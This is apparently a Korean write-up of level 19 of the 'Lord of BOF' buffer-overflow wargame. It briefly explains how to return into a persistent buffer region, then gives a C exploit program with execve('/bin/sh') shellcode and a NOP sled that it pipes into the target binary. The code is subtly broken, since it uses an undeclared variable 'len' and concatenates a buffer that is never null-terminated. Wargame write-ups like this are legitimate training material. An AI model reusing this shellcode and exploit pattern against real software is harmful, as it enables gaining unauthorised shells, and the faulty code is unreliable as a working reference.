[BOF 원정대] nightmare -> xavius (level 19)

ret를 제외한 스택 영역을 0으로 초기화하고 공유 라이브러리도 금지시켜 놓았다.

단, 메모리 맵을 보면 입력한 버퍼가 계속 남아있는 공간이 있다.

그 부분의 주소를 ret에 써주면 된다.

exploit code

/* Load of BOF Level 19 Exploit 2014. 07. 27 written by ab2rz1 */ #include <stdio.h> #include <stdlib.h> #include <string.h> #define NOP 0x90 #define BUFSIZE 48 char shellcode [] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" "\x04\x50\x01\x40"; int main () { char buf[BUFSIZE]; char cmd[100]; int i, j=0, shell_len; len = strlen(shellcode); memset(buf, NOP, sizeof(buf)); for ( i=sizeof(buf)-len ; i<sizeof(buf) ; i++ ) buf[i] = shellcode[j++]; sprintf(cmd, "(printf \""); strcat(cmd, buf); strcat(cmd, "\";cat) | ./xavius"); system(cmd); }